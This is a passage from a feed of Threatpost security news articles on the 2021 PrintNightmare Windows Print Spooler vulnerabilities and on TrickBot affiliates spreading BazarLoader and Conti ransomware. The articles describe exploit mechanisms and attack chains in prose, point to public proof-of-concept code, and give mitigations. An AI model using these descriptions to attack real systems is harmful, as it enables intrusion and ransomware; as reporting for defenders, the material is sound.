presentation](<https://defcon.org/html/defcon-29/dc-29-speakers.html#baines>) at DEF CON in August.\n\nThe entire saga surrounding Windows Print Spooler [began Tuesday, June 30](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>), when a proof-of-concept (PoC) for an initial vulnerability in the print service was dropped on GitHub showing how an attacker can exploit the flaw to take control of an affected system.\n\nThe response to the situation soon turned into confusion. Though Microsoft released an [update for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>) in it its usual raft of [monthly Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>), fixing what it thought was a minor elevation-of-privilege vulnerability, the listing was updated later in the week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, soon after it became clear to many experts that Microsoft\u2019s initial patch didn\u2019t fix the entire problem. The federal government even stepped in last Thursday, when CERT/CC [offered its own mitigation](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>) for PrintNightmare that Microsoft has since adopted \u2014 advising system administrators to disable the Windows Print Spooler service in Domain Controllers and systems that do not print.\n\nTo further complicate matters, Microsoft also last Thursday dropped [a notice](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appeared to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527. The company explained that the second bug was similar to the earlier PrintNightmare vulnerability but also its own distinct entity.\n\nEventually, Microsoft last Wednesday [released an emergency cumulative patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>) for both PrintNightmare bugs that included all previous patches as well as protections for CVE-2021-1675 as well as a new fix for CVE-2021-34527.\n\nHowever, that fix also [was incomplete](<https://www.kb.cert.org/vuls/id/383432>), and Microsoft continues to work on further remediations as it also works to patch this latest bug, CVE-2021-34481. In the meantime, affected customers should install the most recent Microsoft updates as well as use the workaround to avoid exploitation, the company said.\n\n**_Check out our free _**[**_upcoming live and on-demand webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {}, "published": "2021-07-16T11:57:53", "type": "threatpost", "title": "Microsoft: Unpatched Bug in Windows Print Spooler", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34481", "CVE-2021-34527"], "modified": "2021-07-16T11:57:53", "id": "THREATPOST:A8242348917526090B7A1B23735D5C6C", "href": "https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-06T21:23:56", "description": "The U.S. government has stepped in to offer a mitigation for a critical remote code execution (RCE) vulnerability in the Windows Print Spooler service that may not have been fully patched by Microsoft\u2019s initial effort to fix it.\n\nTo mitigate the bug, [dubbed PrintNightmare](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>), the CERT Coordination Center (CERT/CC) has released a [VulNote](<https://www.kb.cert.org/vuls/id/383432>) for CVE-2021-1675 urging system administrations to disable the Windows Print Spooler service in Domain Controllers and systems that do not print, the Cybersecurity Infratructure and Security Administration (CISA) said [in a release](<https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>) Thursday. CERT/CC is part of the Software Engineering Institute, a federally funded research center operated by Carnegie Mellon University.\n\n\u201cWhile Microsoft has released an [update for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), it is important to realize that this update does NOT protect Active Directory domain controllers, or systems that have [Point and Print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>) configured with the NoWarningNoElevationOnInstall option configured,\u201d CERT/CC researchers wrote in the note.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe mitigation is in response to a scenario that unfolded earlier this week when a proof-of-concept (POC) for PrintNightmare was dropped on GitHub on Tuesday. While it was taken back down within a few hours, the code was copied and remains in circulation on the platform. An attacker can use the POC to exploit the vulnerability to take control of an affected system.\n\nIn the meantime, Microsoft Thursday put out a new advisory of its own on PrintNightmare that assigns a new CVE and seems to suggest a new attack vector while attempting to clarify confusion that has arisen over it.\n\nWhile the company originally addressed CVE-2021-1675 in [June\u2019s Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>) as a minor elevation-of-privilege vulnerability, the listing was updated last week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, soon after it became clear to many experts that the patch appears to fail against the RCE aspect of the bug\u2014hence CISA\u2019s offer of another mitigation and Microsoft\u2019s update.\n\n## **Assignment of New CVE?**\n\nRegarding the latter, the company dropped [a notice](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) Thursday for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appears to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527.\n\nThe description of the bug sounds like PrintNightmare; indeed, Microsoft acknowledges that it is \u201can evolving situation.\n\n\u201cA remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\u201d according to the notice. \u201cAn attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\u201d\n\nIn a \u201cFAQ\u201d section in the security update, Microsoft attempts to explain CVE-2021-34527\u2019s connection to CVE-2021-1675.\n\n\u201cIs this the vulnerability that has been referred to publicly as PrintNightmare? Yes, Microsoft has assigned CVE-2021-34527 to this vulnerability,\u201d the company wrote.\n\nHowever, the answer to the question \u201cIs this vulnerability related to CVE-2021-1675?\u201d suggests that CVE-2021-34527 is a different issue.\n\n\u201cThis vulnerability is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in RpcAddPrinterDriverEx(),\u201d the company wrote. \u201cThe attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update.\u201d\n\nMicrosoft goes on to explain that CVE-2021-34527 existed before the June Patch Tuesday updates and that it affects domain controllers in \u201call versions of Windows.\u201d\n\n**\u201c**We are still investigating whether all versions are exploitable,\u201d the company wrote. \u201cWe will update this CVE when that information is evident.\u201d\n\nMicrosoft did not assign a score to CVE-2021-34527, citing its ongoing investigation.\n\n## **Two Vulnerabilities?**\n\nIn retrospect, one security researcher noted to Threatpost when news of PrintNightmare surfaced Tuesday that it was \u201ccurious\u201d that the CVE for the original vulnerability was \u201c-1675,\u201d observing that \u201cmost of the CVEs Microsoft patched in June are -31000 and higher.\u201d\n\n\u201cThis could be an indicator that they have known about this bug for some time, and fully addressing it is not trivial,\u201d Dustin Childs of Trend Micro\u2019s Zero Day Initiative told Threatpost at the time.\n\nNow it appears that perhaps Microsoft was patching only part of a more complex vulnerability. The likely scenario appears to be that there are two bugs in Windows Print Spooler that could offer attackers some kind of exploit chain or be used separately to take over systems.\n\nWhile one flaw may indeed have been addressed in June\u2019s Patch Tuesday update, the other could be mitigated by CERT/CC\u2019s workaround\u2014or could remain to be patched by a future Microsoft update that comes after the company completes its investigation.\n\nThe company\u2019s release Thursday of a new CVE related to PrintNightmare seems to be an initial attempt to clarify the situation, though given its developing nature, it remains a bit hazy for now.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-07-02T12:21:02", "type": "threatpost", "title": "CISA Offers New Mitigation for PrintNightmare Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-30116", "CVE-2021-34527"], "modified": "2021-07-02T12:21:02", "id": "THREATPOST:933913B1D9B9CF84D33FECFC77C2FDC8", "href": "https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-08-13T19:49:18", "description": "One day after dropping its scheduled August Patch Tuesday update, Microsoft issued a warning about yet another unpatched privilege escalation/remote code-execution (RCE) vulnerability in the Windows Print Spooler that can be filed under the [PrintNightmare umbrella](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>).\n\nThe news comes amid plenty of PrintNightmare exploitation. Researchers from CrowdStrike warned in a [Wednesday report](<https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/>) that the operators of the Magniber ransomware quickly weaponized CVE-2021-34527 to attack users in South Korea, with attacks dating back to at least July 13. And Cisco Talos [said Thursday](<https://blog.talosintelligence.com/2021/08/vice-society-ransomware-printnightmare.html>) that the Vice Society gang was seen using CVE-2021-1675 and CVE-2021-34527 to spread laterally across a victim\u2019s network as part of a recent ransomware attack.\n\n\u201cIn technology, almost nothing ages gracefully,\u201d Chris Clements, vice president of solutions architecture and Cerberus security officer at Cerberus Sentinel, told Threatpost. \u201cThe Print Spooler in Windows is proving that rule. It\u2019s likely that the code has changed little in the past decades and likely still bears a striking resemblance to source code that was made public in previous Windows leaks. I\u2019ve heard it said that ransomware gangs might also be referred to as \u2018technical debt collectors,\u2019 which would be funnier if the people suffering most from these vulnerabilities weren\u2019t Microsoft\u2019s customers.\u201d\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe fresh zero-day bug, tracked as CVE-2021-36958, carries a CVSS vulnerability-severity scale rating of 7.3, meaning that it\u2019s rated as \u201cimportant.\u201d Microsoft said that it allows for a local attack vector requiring user interaction, but that the attack complexity is low, with few privileges required.\n\n\u201cA remote code-execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\u201d the computing giant explained in its [Wednesday advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>). \u201cAn attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change or delete data; or create new accounts with full user rights.\u201d\n\nThe CERT Coordination Center actually flagged the issue in mid-July, when it warned that a [working exploit](<https://twitter.com/gentilkiwi/status/1416429860566847490>) was available. That proof-of-concept (PoC), issued by Mimikatz creator Benjamin Delpy, comes complete with a video.\n\n> Hey guys, I reported the vulnerability in Dec'20 but haven't disclosed details at MSRC's request. It looks like they acknowledged it today due to the recent events with print spooler.\n> \n> \u2014 Victor Mata (@offenseindepth) [August 11, 2021](<https://twitter.com/offenseindepth/status/1425574625384206339?ref_src=twsrc%5Etfw>)\n\nOn Thursday, CERT/CC issued more details on the issue, explaining that it arises from an oversight in signature requirements around the \u201cPoint and Print\u201d capability, which allows users without administrative privileges to install printer drivers that execute with SYSTEM privileges via the Print Spooler service.\n\nWhile Microsoft requires that printers installable via Point are either signed by a WHQL release signature or by a trusted certificate, Windows printer drivers can specify queue-specific files that are associated with the use of the device, which leaves a loophole for malicious actors.\n\n\u201cFor example, a shared printer can specify a CopyFiles directive for arbitrary files,\u201d according to the CERT/CC [advisory](<https://www.kb.cert.org/vuls/id/131152>). \u201cThese files, which may be copied over alongside the digital-signature-enforced printer driver files, are not covered by any signature requirement. Furthermore, these files can be used to overwrite any of the signature-verified files that were placed on a system during printer driver install. This can allow for local privilege escalation to SYSTEM on a vulnerable system.\u201d\n\nMicrosoft credited Victor Mata of FusionX at Accenture Security with originally reporting the issue, which Mata said occurred back in December 2020:\n\n> Hey guys, I reported the vulnerability in Dec\u201920 but haven\u2019t disclosed details at MSRC\u2019s request. It looks like they acknowledged it today due to the recent events with print spooler.\n> \n> \u2014 Victor Mata (@offenseindepth) [August 11, 2021](<https://twitter.com/offenseindepth/status/1425574625384206339?ref_src=twsrc%5Etfw>)\n\nSo far, Microsoft hasn\u2019t seen any attacks in the wild using the bug, but it noted that exploitation is \u201cmore likely.\u201d With a working exploit in circulation, that seems a fair assessment.\n\n## **Print Spooler-Palooza and the PrintNightmare **\n\nDelpy characterized this latest zero-day as being part of the string of Print Spooler bugs collectively known as PrintNightmare.\n\nThe bad dream started in early July, when a PoC exploit for a bug tracked as CVE-2021-1675 was [dropped on GitHub](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>). The flaw was originally addressed in [June\u2019s Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>) from Microsoft as a minor elevation-of-privilege vulnerability, but the PoC showed that it\u2019s actually a critical Windows security vulnerability that can be used for RCE. That prompted Microsoft to issue a different CVE number \u2013 in this case, CVE-2021-34527 \u2013 to designate the RCE variant, and it prompted [an emergency partial patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>), too.\n\n\u201cThis vulnerability is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in RpcAddPrinterDriverEx(),\u201d the company wrote in the advisory at the time. \u201cThe attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update.\u201d\n\nBoth bugs \u2013 which are really just variants of a single issue \u2013 are collectively known as PrintNightmare. The PrintNightmare umbrella expanded a bit later in July, when yet another, [similar bug was disclosed](<https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/>), tracked as CVE-2021-34481. It remained unpatched until it was finally addressed with [an update](<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>) issued alongside the [August Patch Tuesday updates](<https://threatpost.com/exploited-windows-zero-day-patch/168539/>) (which itself detailed three additional Print Spooler vulnerabilities, one critical).\n\n## **How to Protect Systems from Print Spooler Attacks**\n\nAs mentioned, there\u2019s no patch yet for the bug, but users can protect themselves by simply stopping and disabling the Print Spooler service:\n\n\n\nSource: Microsoft.\n\nCERT/CC also said that since public exploits for Print Spooler attacks use the SMB file-sharing service for remote connectivity to a malicious shared printer, blocking outbound connections to SMB resources would thwart some attacks by blocking malicious SMB printers that are hosted outside of the network.\n\n\u201cHowever, Microsoft indicates that printers can be shared via the Web Point-and-Print Protocol, which may allow installation of arbitrary printer drivers without relying on SMB traffic,\u201d according to CERT/CC. \u201cAlso, an attacker local to your network would be able to share a printer via SMB, which would be unaffected by any outbound SMB traffic rules.\u201d\n\nIn its update advisory for CVE-2021-34481, Microsoft also detailed how to amend the default Point and Print functionality, which prevents non-administrator users from installing or updating printer drivers remotely and which could help mitigate the latest zero-day.\n\nWorried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T13:19:50", "type": "threatpost", "title": "Microsoft Warns: Another Unpatched PrintNightmare Zero-Day", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34481", "CVE-2021-34527", "CVE-2021-36958"], "modified": "2021-08-12T13:19:50", "id": "THREATPOST:ADA9E95C8FD42722E783C74443148525", "href": "https://threatpost.com/microsoft-unpatched-printnightmare-zero-day/168613/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-15T18:06:14", "description": "The cybercriminals behind the infamous TrickBot trojan have signed two additional distribution affiliates, dubbed Hive0106 (aka TA551) and Hive0107 by IBM X-Force. The result? Escalating ransomware hits on corporations, especially using the Conti ransomware.\n\nThe development also speaks to the TrickBot gang\u2019s increasing sophistication and standing in the cybercrime underground, IBM researchers said: \u201cThis latest development demonstrates the strength of its connections within the cybercriminal ecosystem and its ability to leverage these relationships to expand the number of organizations infected with its malware.\u201d\n\nThe TrickBot malware started life as a banking trojan back in 2016, but it quickly evolved to become a modular, full-service threat. It\u2019s capable of a range of backdoor and data-theft functions, can deliver additional payloads, and has the ability to quickly [move laterally](<https://threatpost.com/trickbot-port-scanning-module/163615/>) throughout an enterprise.\n\nAccording to IBM, the TrickBot gang (aka ITG23 or Wizard Spider) has now added powerful additional distribution tactics to its bag of tricks, thanks to the two new affiliates.\n\n\u201cEarlier this year, [the TrickBot gang] primarily relied on email campaigns delivering Excel documents and a call-center ruse known as BazarCall to deliver its payloads to corporate users,\u201d IBM researchers said in a [Wednesday analysis](<https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/>). \u201cHowever\u2026the new affiliates have added the use of hijacked email threads and fraudulent website customer-inquiry forms. This move not only increased the volume of its delivery attempts but also diversified delivery methods with the goal of infecting more potential victims than ever.\u201d\n\nBazarCall is a [distribution tactic](<https://unit42.paloaltonetworks.com/bazarloader-malware/>) that starts with emails offering \u201ctrial subscriptions\u201d to various services \u2013 with a phone number listed to call customer service to avoid being charged money. If someone calls, a call-center operator answers and directs victims to a website to purportedly unsubscribe from the service: a process the \u201cagent\u201d walks the caller through. In the end, vulnerable computers become infected with malware \u2013 usually the [BazarLoader implant](<https://threatpost.com/bazarloader-malware-slack-basecamp/165455/>), which is another malware in the TrickBot gang\u2019s arsenal, and sometimes TrickBot itself. These types of attacks have continued into the autumn, enhanced by the fresh distribution approaches, according to IBM.\n\nMeanwhile, since 2020, the TrickBot gang has been heavily involved in the ransomware economy, with the TrickBot malware acting as an initial access point in campaigns. Users infected with the trojan will see their device become part of a botnet that attackers typically use to load the second-stage ransomware variant. The operators have developed their own ransomware as well, according to IBM: the Conti code, which is notorious for hitting hospitals, [destroying backup files](<https://threatpost.com/conti-ransomware-backups/175114/>) and pursuing [double-extortion tactics](<https://threatpost.com/double-extortion-ransomware-attacks-spike/154818/>).\n\nIBM noted that since the two affiliates came on board in June, there\u2019s been a corresponding increase in Conti ransomware attacks \u2013 not likely a coincidence.\n\n\u201cRansomware and extortion go hand in hand nowadays,\u201d according to the firm\u2019s analysis. \u201c[The TrickBot gang] has also adapted to the ransomware economy through the creation of the Conti ransomware-as-a-service (RaaS) and the use of its BazarLoader and Trickbot payloads to gain a foothold for ransomware attacks.\u201d\n\n## **Affiliate Hive0106: Spam Powerhouse **\n\nIBM X-Force researchers noted that the most important development since June for the distribution of the TrickBot gang\u2019s various kinds of malware is the newly minted partnership with Hive0106 (aka TA551, Shathak and UNC2420).\n\nHive0106 specializes in massive volumes of spamming and is a financially motivated threat group that\u2019s lately been looking to partner with elite cybercrime gangs, the firm said.\n\nHive0106 campaigns begin with hijacking email threads: a tactic pioneered by its frenemy [Emotet](<https://threatpost.com/emotet-takedown-infrastructure-netwalker-offline/163389/>). The tactic involves [jumping into ongoing correspondence](<https://unit42.paloaltonetworks.com/emotet-thread-hijacking/>) to respond to an incoming message under the guise of being the rightful account holder. These existing email threads are stolen from email clients during prior infections. Hive0106 is able to mount these campaigns at scale, researchers said, using newly created malicious domains to host malware payloads.\n\n\u201cThe emails include the email thread subject line but not the entire thread,\u201d according to IBM X-Force\u2019s writeup. \u201cWithin the email is an archive file containing a malicious attachment and password.\u201d\n\nIn the new campaigns, that malicious document drops an HTML application (HTA) file when macros are enabled.\n\n\u201cHTA files contain hypertext code and may also contain VBScript or JScript scripts, both of which are often used in boobytrapped macros,\u201d according to the analysis. \u201cThe HTA file then downloads Trickbot or BazarLoader, which has subsequently been observed downloading Cobalt Strike.\u201d\n\nCobalt Strike is the legitimate pen-testing tool that\u2019s [often abused by cybercriminals](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) to help with lateral movement. It\u2019s often a precursor to a ransomware infection.\n\n## **Hive0107 Comes on Board**\n\nAnother prominent affiliate that hooked its wagon up to the TrickBot gang this summer is Hive0107, which spent the first half of the year distributing the IcedID trojan (a [TrickBot rival](<https://threatpost.com/icedid-banking-trojan-surges-emotet/165314/>)). It switched horses to TrickBot in May, using its patented contact form distribution method.\n\nAnalysts \u201cobserved Hive0107 with occasional distribution campaigns of the Trickbot malware detected mid-May through mid-July 2021\u2026after that period, Hive0107 switched entirely to delivering BazarLoader,\u201d according to the researchers, who added that most of the campaigns target organizations in the U.S. and, to a lesser extent, Canada and Europe.\n\nHive0107 is well-known for using customer contact forms on company websites to send malicious links to unwitting employees. Usually, the messages it sends threaten legal action, according to the analysis.\n\nPreviously, the cybercriminals used copyright infringement as a ruse: \u201cThe group typically enters information into these contact forms \u2014 probably using automated methods \u2014 informing the targeted organization that it has illegally used copyrighted images and includes a link to their evidence,\u201d IBM X-Force researchers explained.\n\nIn the new campaigns, Hive0107 is using a different lure, the researchers said, claiming that the targeted company has been performing distributed denial-of-service (DDoS) attacks on its servers. Then, the messages provide a (malicious) link to purported evidence and how to remedy the situation.\n\nThe group also sends the same content via email to organization staff \u2013 an additional switch-up in tactics.\n\nIn any event, the links are hosted on legitimate cloud storage services where the payload lives, according to the analysis.\n\n\u201cClicking on the link downloads a .ZIP archive containing a malicious JScript (JS) downloader titled \u2018Stolen Images Evidence.js\u2019 or \u2018DDoS attack proof and instructions on how to fix it.js,'\u201d researchers explained. \u201cThe JS file contacts a URL on newly created domains to download BazarLoader.\u201d\n\nBazarLoader then goes on to download Cobalt Strike and a PowerShell script to exploit the [PrintNightmare vulnerability](<https://threatpost.com/microsoft-unpatched-printnightmare-zero-day/168613/>) (CVE-2021-34527), they added \u2013 and sometimes TrickBot.\n\n\u201cIBM suspects that access achieved through these Hive0107 campaigns is ultimately used to initiate a ransomware attack,\u201d the researchers noted.\n\nThe new affiliate campaigns are evidence of the TrickBot gang\u2019s continuing success breaking into the circle of the cybercriminal elite, the firm concluded \u2013 a trend IBM X-Force expects to continue into next year.\n\n\u201c[The gang] started out aggressively back in 2016 and has become a cybercrime staple in the Eastern European threat-actor arena,\u201d researchers said. \u201cIn 2021, the group has repositioned itself among the top of the cybercriminal industry.\u201d\n\nThey added, \u201cThe group already has demonstrated its ability to maintain and update its malware and infrastructure, despite the efforts of law enforcement and industry groups [to take it down](<https://threatpost.com/authorities-arrest-trickbot-member/169236/>).\u201d\n\n## **How to Protect Companies When TrickBot Hits**\n\nTo reduce the chances of suffering catastrophic damage from an infection (or a follow-on ransomware attack), IBM recommends taking the following steps:\n\n * **Ensure you have backup redundancy**, stored separately from network zones attackers could access with read-only access. The availability of effective backups is a significant differentiator for organizations and can support recovery from a ransomware attack.\n * **Implement a strategy to prevent unauthorized data theft**, especially as it applies to uploading large amounts of data to legitimate cloud storage platforms that attackers can abuse.\n * **Employ user-behavior analytics** to identify potential security incidents. When triggered, assume a breach has taken place. Audit, monitor and quickly act on suspected abuse related to privileged accounts and groups.\n * **Employ multi-factor authentication** on all remote access points into an enterprise network.\n * **Secure or disable remote desktop protocol (RDP).** Multiple ransomware attacks have been known to exploit weak RDP access to gain initial entry into a network.\n\n_**Check out our free **_[_**upcoming live and on-demand online town halls **_](<https://threatpost.com/category/webinars/>)_**\u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-15T18:05:29", "type": "threatpost", "title": "TrickBot Gang Enters Cybercrime Elite with Fresh Affiliates", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-10-15T18:05:29", "id": "THREATPOST:827A7E3B49365A0E49A11A05A5A29192", "href": "https://threatpost.com/trickbot-cybercrime-elite-affiliates/175510/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-07-01T12:50:21", "description": "UPDATE\n\nA proof-of-concept for a critical Windows security vulnerability that allows remote code execution (RCE) was dropped on GitHub on Tuesday \u2013 and while it was taken back down within a few hours, the code was copied and is still out there circulating on the platform.\n\nThe bug ([CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>)) exists in the Windows Print Spooler and has been dubbed \u201cPrintNightmare\u201d by researchers. It was originally addressed in [June\u2019s Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>) from Microsoft as a minor elevation-of-privilege vulnerability, but the listing was updated last week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE. The patch, according to many, appears to fail against the RCE aspect of the bug.\n\n\u201cThere are 40 entries in Microsoft\u2019s list of affected products, from Windows 7 to Windows 10 and from Server 2008 to Server 2019,\u201d Dirk Schrader, global vice president of security research at New Net Technologies (NNT), now part of Netwrix, told Threatpost. \u201cGiven this broad surface, it is likely that this vulnerability will become an element in the tool chain of current malware families.\u201d\n\nOn Sunday, the QiAnXin security team [tweeted a video](<https://twitter.com/RedDrip7/status/1409353110187757575>) showing successful RCE \u2013 but it held back any technical or PoC details. Two days later, though, a full-blown PoC with a complete technical analysis appeared on GitHub, authored by another security firm, Sangfor.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nClaire Tills, senior security engineer with Tenable, which spotted the PoC posting, noted that \u201cthe GitHub repository was publicly available long enough for others to clone it. The PoC is likely still circulating and is likely to resurface publicly, if it hasn\u2019t already done so.\u201d\n\nAnd indeed, according to one security practitioner, the code was successfully forked to another page.\n\n> Looks like the original PoC for PrintNightmare (CVE-2021-1675) got deleted but someone has forked it since <https://t.co/8MiP62SlzC>\n> \n> \u2014 Andy Gill (@ZephrFish) [June 29, 2021](<https://twitter.com/ZephrFish/status/1409838221303988227?ref_src=twsrc%5Etfw>)\n\nOn Wednesday, other researchers [tweeted videos](<https://twitter.com/gentilkiwi/status/1410246348784422916>) and more [analysis](<https://twitter.com/cube0x0/status/1409928527957344262>) that could be used for successful exploitation as word spread of the PoC.\n\n> Impacket implementation of CVE-2021-1675 \ud83d\udd25<https://t.co/UpKOueij4c>\n> \n> \u2014 Cube0x0 (@cube0x0) [June 29, 2021](<https://twitter.com/cube0x0/status/1409928527957344262?ref_src=twsrc%5Etfw>)\n\nIt should be noted that some sources are also saying that the existing Microsoft patch doesn\u2019t remedy the RCE version. Cube0x0\u2019a impacket implementation above for instance works on a fully patched Windows machine, [the authors said](<https://github.com/cube0x0/CVE-2021-1675>).\n\n\u201cWe\u2019re still evaluating the efficacy of the patch ourselves, but there are multiple reports indicating the proof-of-concept code works against fully patched systems,\u201d Dustin Childs, of Trend Micro\u2019s Zero Day Initiative, told Threatpost. \u201cThis does indicate the patch released in June does not completely address the root cause of the bug. Either way, enterprises should treat this as an incomplete fix and implement other workarounds, such as disabling the print spooler and blocking TCP ports 135 and 445 at the perimeter.\u201d\n\nHe made note of Microsoft\u2019s CVE nomenclature too: \u201cIt\u2019s curious that the CVE here is -1675 while most of the CVEs Microsoft patched in June are -31000 and higher. This could be an indicator that they have known about this bug for some time, and fully addressing it is not trivial.\u201d\n\nRyan Garbars, application security engineer at Automox, told Threatpost that his team was working on replicating the exploit on a patched machine.\n\n\u201cNumerous sources state that the PrintNightmare vulnerability is not CVE-2021-1675, indicating that the most recent Windows patch will not protect against the vulnerability,\u201d he said. \u201cTo make sure that their environment is secure from this vulnerability users should disable the Spooler service within their environment, if possible.\u201d\n\nRapid7 researchers meanwhile [noted that](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>) they \u201chave confirmed that public exploits work against fully patched Windows Server 2019 installations.\u201d\n\n## **PrintNightmare: Full Remote Takeover**\n\nSuccessful exploitation of CVE-2021-1675 could open the door to complete system takeover by remote adversaries. However, to achieve that requires a targeted user to be authenticated to the Spooler service.\n\n\u201cThis vulnerability can provide full domain access to a domain controller under a SYSTEM context,\u201d Marius Sandbu, guild lead for public cloud at TietoEVRY, added in a [Wednesday 